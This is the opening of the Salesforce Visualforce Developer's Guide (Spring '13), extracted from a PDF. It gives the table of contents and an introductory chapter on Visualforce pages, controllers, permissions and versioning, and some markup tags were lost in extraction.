Visualforce Developer's Guide Salesforce Pages Developers

User Manual: Pdf

Open the PDF directly: View PDF PDF.
Page Count: 582

DownloadVisualforce Developer's Guide Salesforce Pages Developers
Open PDF In BrowserView PDF
Version 27.0: Spring ’13

Visualforce Developer's Guide

Last updated: March 15, 2013
© Copyright 2000–2013 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.

Table of Contents

Table of Contents
Chapter 1: Introducing Visualforce.......................................................................................................1
What is Visualforce?..................................................................................................................................................................1
What is a Visualforce Page?...........................................................................................................................................2
Visualforce Markup...........................................................................................................................................2
Visualforce Controllers......................................................................................................................................2
Where Can Visualforce Pages Be Used?.......................................................................................................................3
Which Editions Support Visualforce?.......................................................................................................................................3
Which Permissions are Required for Visualforce Development?..............................................................................................4
How is Visualforce Architected?...............................................................................................................................................4
What are the Benefits of Visualforce?.......................................................................................................................................6
When Should I Use Visualforce?...............................................................................................................................................7
How Do Visualforce Pages Compare to S-Controls?...............................................................................................................8
How is Visualforce Versioned?..................................................................................................................................................9
What’s New in Visualforce Version 27.0.................................................................................................................................10
Documentation Typographical Conventions..........................................................................................................................10

Chapter 2: Tools for Visualforce Development....................................................................................12
Using the Development Mode Footer.....................................................................................................................................12
About the Visualforce Editor..................................................................................................................................................14

Chapter 3: Getting a Quick Start with Visualforce...............................................................................17
Compiling Visualforce Successfully.........................................................................................................................................17
Creating Your First Page.........................................................................................................................................................18
Displaying Field Values with Visualforce................................................................................................................................19
Using the Visualforce Component Library.............................................................................................................................21
Overriding an Existing Page with a Visualforce Page.............................................................................................................23
Redirecting to a Standard Object List Page............................................................................................................................25
Using Input Components in a Page........................................................................................................................................26
Adding and Customizing Input Field Labels..........................................................................................................................27
Setting the Tab Order for Fields in a Form............................................................................................................................29
Adding Dependent Fields to a Page........................................................................................................................................31
Creating Visualforce Dashboard Components........................................................................................................................33
Displaying Related Lists for Custom Objects.........................................................................................................................34
Enabling Inline Editing...........................................................................................................................................................35
Rendering a Page as a PDF.....................................................................................................................................................38
Building a Table of Data in a Page..........................................................................................................................................40
Editing a Table of Data in a Page...........................................................................................................................................41
Using Query String Parameters in a Page...............................................................................................................................42
Getting Query String Parameters................................................................................................................................43
Setting Query String Parameters in Links...................................................................................................................44
Getting and Setting Query String Parameters on a Single Page.................................................................................45

i

Table of Contents
Using Ajax in a Page...............................................................................................................................................................46
Implementing Partial Page Updates with Command Links and Buttons...................................................................46
Providing Status for Asynchronous Operations...........................................................................................................47
Applying Ajax Behavior to Events on Any Component..............................................................................................48

Chapter 4: Customizing the Appearance and HTML Output of Visualforce Pages................................50
Styling Visualforce Pages.........................................................................................................................................................50
Using Salesforce Styles................................................................................................................................................50
Using Custom Styles...................................................................................................................................................53
HTML Comments and IE Conditional Comments..............................................................................................................55
Using a Custom Doctype........................................................................................................................................................55
Using a Custom ContentType................................................................................................................................................56
Setting Custom HTML Attributes on Visualforce Components...........................................................................................57

Chapter 5: Standard Controllers.........................................................................................................59
Associating a Standard Controller with a Visualforce Page ...................................................................................................59
Accessing Data with a Standard Controller ...........................................................................................................................60
Using Standard Controller Actions.........................................................................................................................................60
Validation Rules and Standard Controllers.............................................................................................................................61
Styling Pages that Use Standard Controllers...........................................................................................................................62
Checking for Object Accessibility...........................................................................................................................................62

Chapter 6: Standard List Controllers...................................................................................................64
Associating a Standard List Controller with a Visualforce Page.............................................................................................64
Accessing Data with List Controllers......................................................................................................................................65
Using Standard List Controller Actions..................................................................................................................................66
Pagination with a List Controller............................................................................................................................................67
Using List Views with Standard List Controllers....................................................................................................................67
Editing Records with List Controllers....................................................................................................................................69

Chapter 7: Custom Controllers and Controller Extensions...................................................................71
What are Custom Controllers and Controller Extensions?.....................................................................................................71
Building a Custom Controller.................................................................................................................................................72
Building a Controller Extension..............................................................................................................................................74
Building a Custom List Controller..........................................................................................................................................75
Controller Methods.................................................................................................................................................................77
Controller Class Security.........................................................................................................................................................80
Working with Large Sets of Data...........................................................................................................................................80
Considerations for Creating Custom Controllers and Controller Extensions.........................................................................82
Order of Execution in a Visualforce Page...............................................................................................................................83
Order of Execution for Visualforce Page Get Requests...............................................................................................83
Order of Execution for Visualforce Page Postback Requests.......................................................................................85
Examples of Visualforce Page Execution Order..........................................................................................................87
Testing Custom Controllers and Controller Extensions.........................................................................................................94
Validation Rules and Custom Controllers...............................................................................................................................97
Using the transient Keyword...................................................................................................................................................98

ii

Table of Contents

Chapter 8: Advanced Examples.........................................................................................................100
Creating Your First Custom Controller................................................................................................................................100
Creating a Custom Controller Class.........................................................................................................................100
Defining Getter Methods..........................................................................................................................................101
Defining Action Methods.........................................................................................................................................103
Defining Navigation Methods...................................................................................................................................105
Creating a Wizard.................................................................................................................................................................107
The Opportunity Wizard Controller.........................................................................................................................108
Step One of the Opportunity Wizard........................................................................................................................110
Step Two of the Opportunity Wizard.......................................................................................................................111
Step Three of the Opportunity Wizard.....................................................................................................................112
Advanced Visualforce Dashboard Components....................................................................................................................113
Integrating Visualforce and Google Charts...........................................................................................................................114
Mass-Updating Records with a Custom List Controller......................................................................................................118

Chapter 9: Overriding Buttons, Links, and Tabs with Visualforce.......................................................121
Overriding Tabs Using a Standard List Controller...............................................................................................................122
Defining Custom Buttons and Links for Visualforce............................................................................................................122
Adding Custom List Buttons using Standard List Controllers.............................................................................................124
Displaying Record Types......................................................................................................................................................126

Chapter 10: Using Static Resources...................................................................................................127
Creating a Static Resource.....................................................................................................................................................127
Referencing a Static Resource in Visualforce Markup...........................................................................................................128

Chapter 11: Creating and Using Custom Components.......................................................................130
What are Custom Components?...........................................................................................................................................130
Defining Custom Components.............................................................................................................................................131
Custom Component Markup................................................................................................................................................132
Using Custom Components in a Visualforce Page................................................................................................................133
Managing Version Settings for Custom Components..........................................................................................................133
Custom Component Attributes.............................................................................................................................................134
Custom Component Controllers...........................................................................................................................................135

Chapter 12: Dynamic Visualforce Bindings........................................................................................137
Using Dynamic References with Standard Objects...............................................................................................................138
Using Dynamic References with Custom Objects and Packages..........................................................................................146
Referencing Apex Maps and Lists.........................................................................................................................................148
Working with Field Sets.......................................................................................................................................................151
Dynamic References to Global Variables..............................................................................................................................153

Chapter 13: Dynamic Visualforce Components..................................................................................161
Dynamic Components Restrictions.......................................................................................................................................162
Creating and Displaying Dynamic Components...................................................................................................................162
Example Using a Related List...............................................................................................................................................165

iii

Table of Contents

Chapter 14: Integrating Email with Visualforce..................................................................................171
Sending an Email with Visualforce.......................................................................................................................................171
Creating a Custom Controller with the Messaging Class.........................................................................................171
Creating an Email Attachment.................................................................................................................................174
Visualforce Email Templates.................................................................................................................................................177
Creating a Visualforce Email Template.....................................................................................................................178
Using a Custom Stylesheet in a Visualforce Email Template....................................................................................180
Adding Attachments.................................................................................................................................................182
Using Custom Controllers within Visualforce Email Templates..............................................................................185

Chapter 15: Visualforce Charting......................................................................................................187
Visualforce Charting Limitations and Considerations..........................................................................................................187
How Visualforce Charting Works.........................................................................................................................................188
Building a Complex Chart with Visualforce Charting..........................................................................................................192
Controlling the Appearance of Charts..................................................................................................................................196
Chart Colors..............................................................................................................................................................196
Chart Layout and Annotation...................................................................................................................................197
Bar Charts.................................................................................................................................................................198
Other Linear Series Charts........................................................................................................................................200
Pie Charts..................................................................................................................................................................202
Gauge Charts.............................................................................................................................................................203
Radar Charts..............................................................................................................................................................203

Chapter 16: Rendering Flows with Visualforce...................................................................................205
Embedding Flows in Visualforce Pages.................................................................................................................................205
Advanced Examples of Using ....................................................................................................................207
Configuring the finishLocation Attribute in a Flow.............................................................................................................209
Customizing a Flow’s User Interface.....................................................................................................................................211

Chapter 17: Templating with Visualforce...........................................................................................213
Defining Templates with ......................................................................................................................213
Referencing an Existing Page with ...............................................................................................................217

Chapter 18: Developing for Mobile Devices.......................................................................................219
What is Salesforce Mobile?...................................................................................................................................................219
Which Devices Can Run Salesforce Mobile and Visualforce Mobile?......................................................................219
What are the Capabilities and Limitations of the Mobile Application?....................................................................220
When Should Visualforce Mobile Be Used?.............................................................................................................221
Developing Pages for iPhone and BlackBerry.......................................................................................................................222
iPhone Considerations...............................................................................................................................................223
BlackBerry Considerations........................................................................................................................................225
Developing Cross-Platform Compatible Pages.........................................................................................................226
Using the JavaScript Library......................................................................................................................................229
Mobilizing Visualforce Pages................................................................................................................................................231
Building a Mobile-Ready Visualforce Tab................................................................................................................231
Adding Visualforce Tabs to Mobile Configurations.................................................................................................232

iv

Table of Contents
Create the Mobile Configuration..................................................................................................................232
Define Data Sets............................................................................................................................................233
Edit Mobile Object Properties.......................................................................................................................233
Customize Mobile Tabs................................................................................................................................234
Testing Visualforce Mobile Pages.............................................................................................................................234
Example: Building a Mapping Application for iPhone.........................................................................................................235
Creating the Custom Controller...............................................................................................................................236
Building the Map and List View...............................................................................................................................237
Building the Detail Page...........................................................................................................................................240

Chapter 19: Adding Visualforce to a Force.com AppExchange App.....................................................242
Managing Package Version Settings for Visualforce Pages and Components.......................................................................243

Chapter 20: Using JavaScript in Visualforce Pages..............................................................................244
Using JavaScript to Reference Components..........................................................................................................................244
Using a JavaScript Library with Visualforce..........................................................................................................................245
JavaScript Remoting for Apex Controllers............................................................................................................................246
JavaScript Remoting Example...............................................................................................................................................251

Chapter 21: Best Practices.................................................................................................................253
Best Practices for Improving Visualforce Performance.........................................................................................................253
Best Practices for Accessing Component IDs.......................................................................................................................255
Best Practices for Static Resources........................................................................................................................................257
Best Practices for Controllers and Controller Extensions.....................................................................................................257
Best Practices for Using Component Facets..........................................................................................................................258
Best Practices for Page Block Components...........................................................................................................................260
Best Practices for Rendering PDFs.......................................................................................................................................261
Best Practices for .........................................................................................................................................263

Chapter 22: Standard Component Reference.....................................................................................264
apex:actionFunction .............................................................................................................................................................264
apex:actionPoller ..................................................................................................................................................................266
apex:actionRegion ................................................................................................................................................................268
apex:actionStatus ..................................................................................................................................................................269
apex:actionSupport ...............................................................................................................................................................272
apex:areaSeries ......................................................................................................................................................................274
apex:attribute ........................................................................................................................................................................276
apex:axis ................................................................................................................................................................................278
apex:barSeries .......................................................................................................................................................................279
apex:canvasApp ....................................................................................................................................................................282
apex:chart .............................................................................................................................................................................284
apex:chartLabel .....................................................................................................................................................................286
apex:chartTips ......................................................................................................................................................................288
apex:column ..........................................................................................................................................................................289
apex:commandButton ...........................................................................................................................................................294
apex:commandLink ..............................................................................................................................................................297

v

Table of Contents
apex:component ....................................................................................................................................................................300
apex:componentBody ...........................................................................................................................................................302
apex:composition ..................................................................................................................................................................304
apex:dataList .........................................................................................................................................................................305
apex:dataTable ......................................................................................................................................................................307
apex:define ............................................................................................................................................................................314
apex:detail .............................................................................................................................................................................315
apex:dynamicComponent .....................................................................................................................................................316
apex:emailPublisher ..............................................................................................................................................................317
apex:enhancedList ................................................................................................................................................................319
apex:facet ..............................................................................................................................................................................321
apex:flash ..............................................................................................................................................................................322
apex:form ..............................................................................................................................................................................323
apex:gaugeSeries ...................................................................................................................................................................326
apex:iframe ...........................................................................................................................................................................328
apex:image ............................................................................................................................................................................329
apex:include ..........................................................................................................................................................................331
apex:includeScript .................................................................................................................................................................332
apex:inlineEditSupport .........................................................................................................................................................333
apex:inputCheckbox .............................................................................................................................................................334
apex:inputField .....................................................................................................................................................................338
apex:inputFile .......................................................................................................................................................................340
apex:inputHidden .................................................................................................................................................................343
apex:inputSecret ...................................................................................................................................................................344
apex:inputText ......................................................................................................................................................................346
apex:inputTextarea ...............................................................................................................................................................349
apex:insert .............................................................................................................................................................................351
apex:legend ...........................................................................................................................................................................352
apex:lineSeries ......................................................................................................................................................................353
apex:listViews .......................................................................................................................................................................355
apex:logCallPublisher ...........................................................................................................................................................356
apex:message .........................................................................................................................................................................358
apex:messages .......................................................................................................................................................................359
apex:outputField ...................................................................................................................................................................361
apex:outputLabel ..................................................................................................................................................................363
apex:outputLink ...................................................................................................................................................................365
apex:outputPanel ..................................................................................................................................................................368
apex:outputText ....................................................................................................................................................................369
apex:page ..............................................................................................................................................................................371
apex:pageBlock .....................................................................................................................................................................375
apex:pageBlockButtons .........................................................................................................................................................378
apex:pageBlockSection .........................................................................................................................................................380
apex:pageBlockSectionItem ..................................................................................................................................................383
apex:pageBlockTable ............................................................................................................................................................386
apex:pageMessage .................................................................................................................................................................391

vi

Table of Contents
apex:pageMessages ...............................................................................................................................................................392
apex:panelBar .......................................................................................................................................................................393
apex:panelBarItem ................................................................................................................................................................395
apex:panelGrid .....................................................................................................................................................................397
apex:panelGroup ..................................................................................................................................................................401
apex:param ............................................................................................................................................................................402
apex:pieSeries .......................................................................................................................................................................403
apex:radarSeries ....................................................................................................................................................................404
apex:relatedList ....................................................................................................................................................................406
apex:repeat ............................................................................................................................................................................408
apex:scatterSeries ..................................................................................................................................................................410
apex:scontrol .........................................................................................................................................................................412
apex:sectionHeader ...............................................................................................................................................................413
apex:selectCheckboxes ..........................................................................................................................................................414
apex:selectList .......................................................................................................................................................................417
apex:selectOption .................................................................................................................................................................421
apex:selectOptions ................................................................................................................................................................423
apex:selectRadio ...................................................................................................................................................................424
apex:stylesheet ......................................................................................................................................................................428
apex:tab .................................................................................................................................................................................428
apex:tabPanel ........................................................................................................................................................................431
apex:toolbar ..........................................................................................................................................................................434
apex:toolbarGroup ................................................................................................................................................................438
apex:variable .........................................................................................................................................................................439
apex:vote ...............................................................................................................................................................................440
chatter:feed ...........................................................................................................................................................................441
chatter:feedWithFollowers ...................................................................................................................................................442
chatter:follow ........................................................................................................................................................................442
chatter:followers ...................................................................................................................................................................443
chatter:newsfeed ...................................................................................................................................................................443
chatteranswers:allfeeds ..........................................................................................................................................................444
chatteranswers:changepassword ............................................................................................................................................445
chatteranswers:forgotpassword .............................................................................................................................................445
chatteranswers:forgotpasswordconfirm .................................................................................................................................445
chatteranswers:help ...............................................................................................................................................................446
chatteranswers:login .............................................................................................................................................................446
chatteranswers:registration ...................................................................................................................................................447
chatteranswers:singleitemfeed ..............................................................................................................................................447
flow:interview .......................................................................................................................................................................447
ideas:detailOutputLink .........................................................................................................................................................448
ideas:listOutputLink .............................................................................................................................................................450
ideas:profileListOutputLink .................................................................................................................................................451
knowledge:articleCaseToolbar ..............................................................................................................................................452
knowledge:articleList ............................................................................................................................................................453
knowledge:articleRendererToolbar .......................................................................................................................................454

vii

Table of Contents
knowledge:articleTypeList ...................................................................................................................................................455
knowledge:categoryList ........................................................................................................................................................456
liveAgent:clientChat .............................................................................................................................................................456
liveAgent:clientChatAlertMessage .......................................................................................................................................457
liveAgent:clientChatEndButton ...........................................................................................................................................458
liveAgent:clientChatInput ....................................................................................................................................................458
liveAgent:clientChatLog ......................................................................................................................................................459
liveAgent:clientChatMessages ..............................................................................................................................................460
liveAgent:clientChatQueuePosition .....................................................................................................................................460
liveAgent:clientChatSaveButton ..........................................................................................................................................460
liveAgent:clientChatSendButton .........................................................................................................................................461
liveAgent:clientChatStatusMessage .....................................................................................................................................461
messaging:attachment ..........................................................................................................................................................462
messaging:emailHeader ........................................................................................................................................................463
messaging:emailTemplate ....................................................................................................................................................464
messaging:htmlEmailBody ...................................................................................................................................................466
messaging:plainTextEmailBody ...........................................................................................................................................467
site:googleAnalyticsTracking ................................................................................................................................................468
site:previewAsAdmin ...........................................................................................................................................................469
social:profileViewer ..............................................................................................................................................................470
support:caseArticles ..............................................................................................................................................................471
support:caseFeed ..................................................................................................................................................................473
support:portalPublisher ........................................................................................................................................................474

Appendices......................................................................................................................................476
Appendix A: Global Variables, Functions, and Expression Operators.........................................476
Global Variables........................................................................................................................................................476
Functions...................................................................................................................................................................495
Expression Operators................................................................................................................................................507

Appendix B: Security Tips for Apex and Visualforce Development.............................................510
Cross Site Scripting (XSS)........................................................................................................................................510
Unescaped Output and Formulas in Visualforce Pages.............................................................................................512
Cross-Site Request Forgery (CSRF).........................................................................................................................513
SOQL Injection........................................................................................................................................................514
Data Access Control..................................................................................................................................................516

Appendix C: Apex Classes Used in Visualforce Controllers........................................................518
ApexPages Methods..................................................................................................................................................518
Action Class..............................................................................................................................................................519
Cookie Class..............................................................................................................................................................520
IdeaStandardController Class....................................................................................................................................522
IdeaStandardSetController Class...............................................................................................................................525

viii

Table of Contents
KnowledgeArticleVersionStandardController Class.................................................................................................529
Message Class............................................................................................................................................................532
PageReference Class..................................................................................................................................................533
SelectOption Class....................................................................................................................................................539
StandardController Class..........................................................................................................................................541
StandardSetController Class.....................................................................................................................................543

Appendix D: Understanding Execution Governors and Limits...................................................546
Glossary...........................................................................................................................................552
Index...............................................................................................................................................561

ix

Table of Contents

x

Chapter 1
Introducing Visualforce
Over the past several years, salesforce.com has created a comprehensive platform for building on-demand applications. Like
other sophisticated application development platforms, the Force.com platform offers separate tools for defining:
•
•
•

The structure of the data—that is, the data model
The rules that detail how that data can be manipulated—that is, the business logic
The layouts that specify how that data should be displayed—that is, the user interface
Note: Splitting up application development tools based on whether they affect the data model, business logic, or user
interface is also known as the Model-View-Controller (MVC) application development pattern—the Model is the
data model, the View is the user interface, and the Controller is the business logic.

While the tools for building the data model and business logic for applications are powerful solutions that run natively on
Force.com platform servers, the existing tools for defining user interfaces have had certain limitations:
•

•

Page layouts, the point-and-click tool that allows application developers to organize fields, buttons, and related lists on
record detail pages, do not provide much flexibility in how sets of information are displayed. Fields must always appear above
related lists, buttons must always appear above fields, and s-controls and custom links can only be placed in particular areas.
S-controls, the tool that allows application developers to display custom HTML in a detail page or custom tab, provide
more flexibility than page layouts, but:
◊ Execute from within a browser, causing poor performance if displaying or updating values from more than a few records
at a time
◊ Do not provide an easy way to give custom user interface elements the same look-and-feel as standard Salesforce pages
◊ Require developers to enforce field uniqueness and other metadata dependencies on their own
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

For these reasons, salesforce.com has introduced Visualforce, the next-generation solution for building sophisticated custom
user interfaces on the Force.com platform.

What is Visualforce?
Visualforce is a framework that allows developers to build sophisticated, custom user interfaces that can be hosted natively on
the Force.com platform. The Visualforce framework includes a tag-based markup language, similar to HTML.
In the Visualforce markup language, each Visualforce tag corresponds to a coarse or fine-grained user interface component,
such as a section of a page, a related list, or a field. The behavior of Visualforce components can either be controlled by the

1

Introducing Visualforce

What is a Visualforce Page?

same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller class written
in Apex.

Figure 1: Sample of Visualforce Components and their Corresponding Tags

See Also:
Building a Custom Controller
Building a Controller Extension

What is a Visualforce Page?
Developers can use Visualforce to create a Visualforce page definition. A page definition consists of two primary elements:
•
•

Visualforce markup
A Visualforce controller

Visualforce Markup
Visualforce markup consists of Visualforce tags, HTML, JavaScript, or any other Web-enabled code embedded within a single
 tag. The markup defines the user interface components that should be included on the page, and the way they
should appear.
Visualforce Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified
in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that
should be displayed in a page, and can modify component behavior.
A developer can either use a standard controller provided by the Force.com platform, or add custom controller logic with a
class written in Apex:
•

A standard controller consists of the same functionality and logic that is used for a standard Salesforce page. For example,
if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as
clicking Save on a standard Account edit page.

2

Introducing Visualforce

Where Can Visualforce Pages Be Used?

If you use a standard controller on a page and the user doesn't have access to the object, the page will display a insufficient
privileges error message. You can avoid this by checking the user's accessibility for an object and displaying components
appropriately.
•
•

A standard list controller enables you to create Visualforce pages that can display or act on a set of records. Examples of
existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages.
A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller.
If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any
functionality that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions
of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the
user's profile.

•

A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller.
Extensions allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the
current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions.
Although the extension class executes in system mode, the standard controller executes in user mode. As with custom
controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.
Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user
permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role
hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using
the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide.

Where Can Visualforce Pages Be Used?
Developers can use Visualforce pages to:
•
•
•
•
•
•

Override standard buttons, such as the New button for accounts, or the Save button for contacts
Override tab overview pages, such as the Accounts tab home page
Define custom tabs
Embed components in detail page layouts
Create dashboard components or custom help pages
Customize, extend, or integrate the sidebars in the Service Cloud console (custom console components)

Which Editions Support Visualforce?
Visualforce is available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions.

3

Introducing Visualforce

Which Permissions are Required for Visualforce Development?

Which Permissions are Required for Visualforce Development?
Visualforce development requires various permissions, depending on the specific activity.
User Permissions Needed
To enable Visualforce development mode:

“Customize Application”

To create, edit, or delete Visualforce pages:

“Customize Application”

To create and edit custom Visualforce components:

“Customize Application”

To edit custom Visualforce controllers or Apex

“Author Apex”

To set Visualforce page security:

“Manage Users”
AND
“Customize Application”

To set version settings for Visualforce pages:

“Customize Application”

To create, edit, or delete static resources:

“Customize Application”

To create Visualforce Tabs:

“Customize Application”

How is Visualforce Architected?
All Visualforce pages run entirely on the Force.com platform, both when a developer creates the page, and when an end user
requests a page, as shown in the following architecture diagrams.

4

Introducing Visualforce

How is Visualforce Architected?

Figure 2: Visualforce System Architecture - Development Mode
When a developer finishes writing a Visualforce page and saves it to the platform, the platform application server attempts to
compile the markup into an abstract set of instructions that can be understood by the Visualforce renderer. If compilation
generates errors, the save is aborted and the errors are returned to the developer. Otherwise, the instructions are saved to the
metadata repository and sent to the Visualforce renderer. The renderer turns the instructions into HTML and then refreshes
the developer's view, thereby providing instantaneous feedback to the developer for whatever changes were made in the markup.
The architecture diagram below shows the process flow when a non-developer user requests a Visualforce page. Because the
page is already compiled into instructions, the application server simply retrieves the page from the metadata repository and
sends it to the Visualforce renderer for conversion into HTML.

5

Introducing Visualforce

What are the Benefits of Visualforce?

Figure 3: Visualforce System Architecture - Standard User Mode
Note: Your Visualforce pages may be run on one of the force.com servers instead of a salesforce.com server.

See Also:
What is Visualforce?
What are the Benefits of Visualforce?
How Do Visualforce Pages Compare to S-Controls?

What are the Benefits of Visualforce?
As a markup language, Visualforce provides the following benefits:
User-friendly development
Developers can edit their Visualforce markup in the same window that displays the resulting page. Consequently,
developers can instantly verify the result of an edit just by saving their code. The Visualforce editor pane also includes
auto-completion and syntax highlighting.
Visualforce also supports “quick fixes” that allow developers to create supporting components on the fly. For example,
a developer can define a new Visualforce page simply by logging in to Salesforce and then entering the name of the new
page in a URL. Much like a wiki, if the page does not yet exist, the platform creates it for you.
Integration with other Web-based user interface technologies
Because Visualforce markup is ultimately rendered into HTML, designers can use Visualforce tags alongside standard
HTML, JavaScript, Flash, or any other code that can execute within an HTML page on the platform, including Force.com
platform merge fields and expressions.

6

Introducing Visualforce

When Should I Use Visualforce?

Model-View-Controller (MVC) style development
Visualforce conforms to the Model-View-Controller (MVC) development pattern by providing a clear division between
the view of an application (the user interface, defined by Visualforce markup), and the controller that determines how
the application works (the business logic, defined by a Visualforce controller written in Apex). With this architecture,
designers and developers can easily split up the work that goes with building a new application—designers can focus on
the look and feel of the user interface, while developers can work on the business logic that drives the app.
Concise syntax
Visualforce pages can implement the same functionality as s-controls but with approximately 90% fewer lines of code.
Data-driven defaults
Visualforce components are rendered intelligently by the platform. For example, rather than forcing page designers to
use different component tags for different types of editable fields (such as email addresses or calendar dates), designers
can simply use a generic  tag for all fields. The Visualforce renderer displays the appropriate edit
interface for each field.
Hosted platform
Visualforce pages are compiled and rendered entirely by the Force.com platform. Because they are so tightly integrated,
they display the same performance as standard Salesforce pages, regardless of the amount of data being displayed or
edited.
Automatically upgradeable
Visualforce pages do not need to be rewritten when other parts of the Force.com platform are upgraded. Because the
pages are stored as metadata, they are automatically upgraded with the rest of the system.

When Should I Use Visualforce?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to
customize the prebuilt applications to fit your organization. However, your organization may have complex business processes
that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways
for advanced administrators and developers to implement custom functionality. These include Visualforce, Apex, and the
SOAP API.

Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and
customizing the Salesforce user interface. With Visualforce you can:
•
•
•

Build wizards and other multistep processes.
Create your own custom flow control through an application.
Define navigation patterns and data-specific rules for optimal, efficient application interaction.

Apex
Use Apex if you want to:
•
•
•

Create Web services.
Create email services.
Perform complex validation over multiple objects.

7

Introducing Visualforce

•
•
•

How Do Visualforce Pages Compare to S-Controls?

Create complex business processes that are not supported by workflow.
Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object.)
Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed,
regardless of whether it originates in the user interface, a Visualforce page, or from SOAP API.

For more information, see the Force.com Apex Code Developer's Guide.

SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of
record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.

How Do Visualforce Pages Compare to S-Controls?
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written. The following table outlines the differences
between Visualforce pages and s-controls.
Visualforce Pages

S-Controls

Required technical skills

HTML, XML

HTML, JavaScript, Ajax Toolkit

Language style

Tag markup

Procedural code

Page override model

Assemble standard and custom
components using tags

Write HTML and JavaScript for entire
page

Standard Salesforce component library Yes

No

Access to built-in platform behavior

Yes, through the standard controller

No

Data binding

Yes

No

Developers can bind an input component
(such as a text box) with a particular field
(such as Account Name). If a user saves
a value in that input component, it is also
saved in the database.

Developers can't bind an input
component with a particular field.
Instead, they must write JavaScript code
that uses the API to update the database
with user-specified field values.

Stylesheet inheritance

Yes

No, must bring in Salesforce stylesheets
manually

Respect for field metadata, such as
uniqueness

Yes, by default

Yes, if coded in JavaScript using a
describe API call

If a user attempts to save a record that
violates uniqueness or requiredness field If a user attempts to save a record that
attributes, an error message is
violates uniqueness or requiredness field

8

Introducing Visualforce

How is Visualforce Versioned?

Visualforce Pages

S-Controls

automatically displayed and the user can attributes, an error message is only
try again.
displayed if the s-control developer wrote
code that checked those attributes.
Interaction with Apex

Direct, by binding to a custom controller Indirect, by using Apex webService
methods through the API

Performance

More responsive because markup is
generated on the Force.com platform

Less responsive because every call to the
API requires a round trip to the
server—the burden rests with the
developer to tune performance

Page container

Native

In an iFrame

See Also:
What is Visualforce?
What are the Benefits of Visualforce?
How is Visualforce Architected?

How is Visualforce Versioned?
Starting with the Summer '09 release, Visualforce pages and components are versioned. When a page or component has a
version number, the functionality of older Visualforce elements does not change as new implementations are introduced.
Visualforce versions start at 15.0. If you try to set the version of a Visualforce page to a version earlier than 15.0, it will
automatically be changed to 15.0.
To aid backwards-compatibility, each Visualforce page and custom component is saved with version settings for the specified
version of the API as well as the specific version of Visualforce. If the Visualforce page or component references installed
managed packages, the version settings for each managed package referenced by the page or component is saved too. This
ensures that as Visualforce, the API, and the components in managed packages evolve in subsequent versions, Visualforce
pages and components are still bound to versions with specific, known behavior.
Custom components that are referenced in Visualforce pages always perform under their own version number. Thus, if a
custom component is set at version 15.0, it always exhibits behavior from Visualforce version 15.0, whether running in a version
15.0 or a 16.0 page.
The release notes list any changes between Visualforce versions. The component reference also lists which Visualforce version
a standard component was introduced in, as well as whether a component or attribute was deprecated in a version.
To set the Salesforce API and Visualforce version for a Visualforce page or custom component:
1. Edit a Visualforce page or component and click Version Settings.
Note: You can only access the version settings for a page or custom component if you edit it from Your Name
> Setup > Develop. You can’t access version settings if you edit using Developer Mode.

9

Introducing Visualforce

What’s New in Visualforce Version 27.0

2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page or component.
3. Click Save.

See Also:
Managing Version Settings for Custom Components
Managing Package Version Settings for Visualforce Pages and Components

What’s New in Visualforce Version 27.0
Review the Spring ’13 Release Notes for a summary of new and changed Visualforce features in Spring ’13.

Documentation Typographical Conventions
Apex and Visualforce documentation uses the following typographical conventions.
Convention

Description

Courier font

In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld

Italics

In descriptions of syntax, italics represent variables. You supply the actual value. In the
following example, three values need to be supplied: datatype variable_name [ =
value];
If the syntax is bold and italic, the text represents a code element that needs a value
supplied by you, such as a class name or variable value:
public static class YourClassHere { ... }

Bold Courier font

In code samples and syntax descriptions, bold courier font emphasizes a portion of the
code or syntax.

<>

In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as
shown.






10

Introducing Visualforce

Documentation Typographical Conventions

Convention

Description

{}

In descriptions of syntax, braces ({ }) are typed exactly as shown.

Hello {!$User.FirstName}!


[]

In descriptions of syntax, anything included in brackets is optional. In the following
example, specifying value is optional:
data_type variable_name [ = value];

|

In descriptions of syntax, the pipe sign means “or”. You can do one of the following
(not all). In the following example, you can create a new unpopulated set in one of two
ways, or you can populate the set:
Set set_name
[= new Set();] |
[= new Set Setup > My Personal Information > Personal Information, and click Edit.
2. Select the Development Mode checkbox.
